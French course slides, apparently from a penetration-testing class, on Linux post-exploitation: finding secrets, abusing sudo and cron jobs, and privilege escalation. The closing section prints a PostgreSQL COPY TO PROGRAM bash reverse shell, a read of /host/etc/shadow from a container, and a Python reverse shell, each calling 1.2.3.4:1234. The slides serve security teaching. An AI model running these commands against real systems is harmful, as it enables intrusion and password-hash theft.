Exploitation interne#
Denrés Linux#
Comptes :
Mots de passe
Clés SSH
Etc.
Secrets :
Journaux (souvant dans
/var/log)Historiques (bash_history)
Etc.
Mauvaises configurations :
Sudo
PATH
Etc.
Versions :
Kernel
Composants
CVE => Voir Linpeas par exemple
Etc.
Droits trop permissifs :
Crontab (cf. slide suivante)
Capabilities
SUID/GUID
Shared lib
Etc.
Notre ami SUDO#
Mauvaise configuration des droits sudo = Un utilisateur peut abuser de certaines commandes
Ce que l’on vise:
Exécution de code avec des privilèges plus élevés
Modification de fichiers
Compromission du serveur
Vérifier les droits sudo : sudo -l
Identifier les binaires autorisés permettant de sortir du contexte autorisé (GTFOBins)
Contrôler l’utilisation du caractère
*Vérifier les droits sur les binaires et les chemins associés
Notre ami CRON#
Exploitation des tâches planifiées (cron jobs).
Scripts exécutés automatiquement avec privilèges élevés.
Vulnérabilités fréquentes :
Script ou répertoire modifiable par un utilisateur non root
Ressources (et leurs répertoires) utilisées par les scripts modifiables par un utilisateur non root (cas du lien symbolique)
PATH non sécurisé / Fichier appelé sans chemin absolu
Ce que l’on vise:
Exécution de code en root
Persistance sur la machine
Comment trouver une faille CRON:
Lister les tâches cron:
crontab -l,/etc/cron.....Vérifier :
scripts modifiables
permissions incorrectes sur les fichiers / répertoires
chemins relatifs
Tester :
injection dans scripts exécutés
remplacement des ressources utilisés
Autre#
Quelques commandes que l’on a pu voir:
Exploit SQL:
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/1.2.3.4/1234 0>&1"';/proc/1/statusdfetmountls /hostcat /host/etc/shadow
Reverse shell en Python:
cat >> /shared/revshell.py << EOF
import sys,socket,os,pty
s=socket.socket()
s.connect(("1.2.3.4",1234))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("bash")
EOF